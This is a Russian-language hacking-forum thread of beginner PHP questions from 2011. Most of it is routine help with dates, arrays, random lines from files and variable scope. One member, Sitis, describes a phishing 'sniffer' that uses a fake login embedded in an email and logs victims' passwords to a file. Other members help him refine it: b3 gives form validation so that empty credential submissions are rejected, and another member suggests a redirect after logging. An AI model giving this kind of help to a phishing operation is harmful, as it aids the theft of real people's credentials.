[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Sitis

    Sitis New Member

    Joined:
    5 Dec 2011
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Спасибо, конечно, но я так и не смог это реализовать. Не судите нуба строго. Мне нужно чтобы выводилась дата прихода данных по московскому времени (или по моему системному), но не через echo, а именно как запись в fwrite:

    PHP:
    $now getdate(); 
    $nowstring=$now['mday'].".".$now['mon'].".".$now['year']."|".$now['hours']."+9ч ".$now['minutes']."м ".$now['seconds']."с";

    $log fopen("Chaos.php","a+"); 
    fwrite($log,"\r\n
    Ничего из прочитанного не помогло тоже. Может вы поможете?

    И ещё, появилось несколько вопросов.

    1) Возможно ли сделать так, чтобы перед каждой новой строчкой сначала вставлялась иконка (для удобства и эстетического удовольствия )? То есть сначала, допустим, иконка мейла, а следом уже данные. Возможно ли такое, и если да, то как это осуществить?

    3) Последнее время часто стало приходить пустое поле, т.е. жертва просто жмёт "ОК", не вводя пароль и переходит на страницу "всё в порядке, свободен". Я правильно понимаю, это и есть валидация? Можно ли сделать кнопку "ОК" недоступной при пустых полях? Можно ли сделать проверку на правильность адреса\пароля? Подскажите как, если можно.
     
  2. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Есть прямоугольная область, нужно высчитать максимальный размер шрифта и вписать посредине слово посредством GD. Интересует сам алгоритм.
     
  3. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Sitis

    Если вы будете прибавлять +9 к текущему значению часов вы можете получить бред типа: 23+9 = 32, и в логах будет бред, поэтому я предложил получить текущее время в секундах time() и добавить к нему (или отнять) поправу, тоже в секундах. Если вам нужно добавить 9 часов, переводим их в секунды 9*60*60 = 32400 что бы не считать это все на калькуляторе, можно так и записать выражение 9*60*60. Конечное выражение получается:

    PHP:
    $time date('m.d.y H:i:s' time()+(9*60*60));
    Далее как вы просили без "echo" можете записать переменную в файл.

    Ну вы код покажите куда вы хоть сроку сохраняете и как.

    Для этого нужно составить условие, к прмиеру есть форма куда вводить логин, пароль и кнопка отправки.

    PHP:
    if(isset($_POST['submit'])) { // Если нажата кнопка отправить форму.
     
         
    if(empty($_POST['login']) || empty($_POST['pwd'])) { // если пустое одно из двух текстовых полей формы
            
            
    echo 'Заполните форму';
         } else {
            
    // Запись в файл введенных данных.
         
    }
     
    }
    Вообще советую почитать книжку какую-нибудь, пофиг какую по пхп, то что просите помочь является самыми основами. Можно изучить буквально за первые дни.

    ЗЫ Обратите внимание что после 1) идет сразу 3) :D
     
  4. Sitis

    Sitis New Member

    Joined:
    5 Dec 2011
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Большое спасибо, всё получилось. По определённым причинам я сейчас не могу взяться за изучение пхп.

    Дык я и показываю:

    PHP:
    $log fopen("ххх.php","a+"); 
    fwrite($log,"\r\n
    Можно ли сделать так, чтобы в лог сначала записывался кгафический файл (ссылка на него)? Формат картинки не важен.

    Я тщетно пытался сделать подобное. Хочу уточнить, это нужно делать в скрипте снифера или в самом теле письма? К слову, я использую именно фейк в теле.
     
    #19664 Sitis, 10 Dec 2011
    Last edited: 10 Dec 2011
  5. Todin

    Todin Member

    Joined:
    28 Jan 2011
    Messages:
    47
    Likes Received:
    7
    Reputations:
    0
    навскидку
    PHP:
    <?php
    $time 
    time();
    switch (
    true){
      case 
    $row['date']+300 $time:
        
    $textdate 'до 5 минут назад';
      break;

      case 
    $row['date']+3600 $time:
        
    $textdate "1 час назад";
      break;

      case 
    $row['date']+86400 $time:
        
    $textdate 'сегодня';
      break;

      case 
    $row['date']+172800 $time:
        
    $textdate 'вчера';
      break;

      default:
        
    $textdate 'в прошлом';
    }
    ?>
     
    1 person likes this.
  6. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Каким образом вывести имена всех переменных, используемых в скрипте, вывести из globals проблематично. Хочу освобождать память от ненужных переменных.
     
  7. bad_boy

    bad_boy Elder - Старейшина

    Joined:
    30 Dec 2004
    Messages:
    187
    Likes Received:
    33
    Reputations:
    3
    AnGeI, голову не забивай, php всё за тебя делает.
     
  8. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.php.net/manual/ru/function.get-defined-vars.php
     
  9. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    Подскажите плиз штатную функцию возвращения бинарного кода из текста, и наоборот. То есть:
    $a = text;
    $b = func_binary($a);
    //Возвратить банарник текста.
    $c = func_debinary($b);
    //Возвратить обычный текст.

    Осталось заменить функции нормальными..

    вот как тут http://www.roubaixinteractive.com/PlayGround/Binary_Conversion/Binary_To_Text.asp
     
    #19669 Osstudio, 11 Dec 2011
    Last edited: 11 Dec 2011
  10. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Osstudio, штатной нету, комбинируй функции chr() и decbin()
    То же самое, что и $GLOBALS.
    В общем, написал функцию для этого дела, если кому интересно:
    PHP:
    function unset_all()
    {
    $flag FALSE;
    $my_variables = Array();

    foreach (
    $GLOBALS as $k => $v)
    {
    if (
    $flag) {unset($GLOBALS[$k]);}
    else if (
    $k == '_REQUEST'$flag TRUE;
    }
    return 
    0;
    }

    $a101001;
    $b='qwerty';
    $arr = Array(1,0,0,1);
    $z = Array('key' => 'val');
    unset_all();
     
    #19670 AnGeI, 11 Dec 2011
    Last edited: 11 Dec 2011
    2 people like this.
  11. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    попробую..
     
    #19671 Osstudio, 11 Dec 2011
    Last edited: 11 Dec 2011
  12. TheRaD

    TheRaD New Member

    Joined:
    7 Apr 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Внимание вопрос!
    Имеется 4 файла, в которых построчно идут некие цифры, нужно, чтобы цифры были вряд через пробел (брались из рандомных строк файлов).
    Вот что сделал я:
    PHP:
    <?php
    $file0
    ="1-1.php"# имя файла, где хранятся данные.
    $file1="1-2.php";
    $file2="1-3.php";
    $file3="1-4.php";
    $stroka0=file($file0);
    $stroka1=file($file1);
    $stroka2=file($file2);
    $stroka3=file($file3);
    echo 
    $stroka0[rand(0,count($stroka0)-1)];
    echo 
    $stroka1[rand(0,count($stroka1)-1)];
    echo 
    $stroka2[rand(0,count($stroka2)-1)];
    echo 
    $stroka3[rand(0,count($stroka3)-1)];
    ?>
    Как сделать правильно, чтобы не загромождать код. Т.к. будет много строк)
     
  13. Nizhegorodets

    Nizhegorodets Member

    Joined:
    21 Mar 2009
    Messages:
    80
    Likes Received:
    66
    Reputations:
    9
    Подскажите книгу/сайт где множество несложных примеров на php, чтобы логику языка понять
     
    1 person likes this.
  14. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    PHP:
    <?php
    $files 
    = array("1-1.php","1-2.php","1-3.php","1-4.php");
    for(
    $i=0$i<count($i);++$i)
     {
    $str file($files[$i]);
    echo 
    $str[rand(0,count($str)-1)]
     }
    ?>
    Также можно ещё больше сократить, но будет "не красиво" ;)

    http://php.su/learnphp/
     
    #19674 Osstudio, 11 Dec 2011
    Last edited: 11 Dec 2011
  15. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Ossstudio http://ru.php.net/manual/en/function.pack.php#93085, http://ru.php.net/manual/en/function.pack.php#90142

    AnGeI Ваша функция будет совершать совершенно непредсказуемые действия в зависимости от системы и версии ПХП на которой запущена, лучше не делайте так. Для ограничения количества переменных в области видимости - используйте функции, все переменные внутри, которых локальны и после каждого завершения функции - удаляются. Либо, что более правильно, используйте пространства имен: http://ru.php.net/namespaces

    knor вопросы по разметке в соседнем топике
     
    _________________________
    1 person likes this.
  16. TheRaD

    TheRaD New Member

    Joined:
    7 Apr 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Ошибка HTTP 500 (Internal Server Error).. исправил, дописав ; , но всёравно не то, выводит только из 1 файла, из первого.
     
    #19676 TheRaD, 11 Dec 2011
    Last edited: 11 Dec 2011
  17. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    TheRaD
    PHP:
    for($i=0$i<count($files); ++$i)
     
  18. TheRaD

    TheRaD New Member

    Joined:
    7 Apr 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Спасибо прибольшущее!!


    Osstudio
    Также спасибище.
     
  19. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    TheRaD так?

    PHP:
    <?php

    $files 
    = array("1-1.php","1-2.php","1-3.php","1-4.php"); 
    $nums = array();
    foreach(
    $files as $file)
    {
        
    $cont file($file);
        
    $nums[] = trim($cont[mt_rand(0,count($cont) - 1)]);
        
    }

    echo 
    implode("&nbsp;",$nums);

    ?>
     
  20. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    header Location
    поставь после того как записываешь в файл.
     
Thread Status:
Not open for further replies.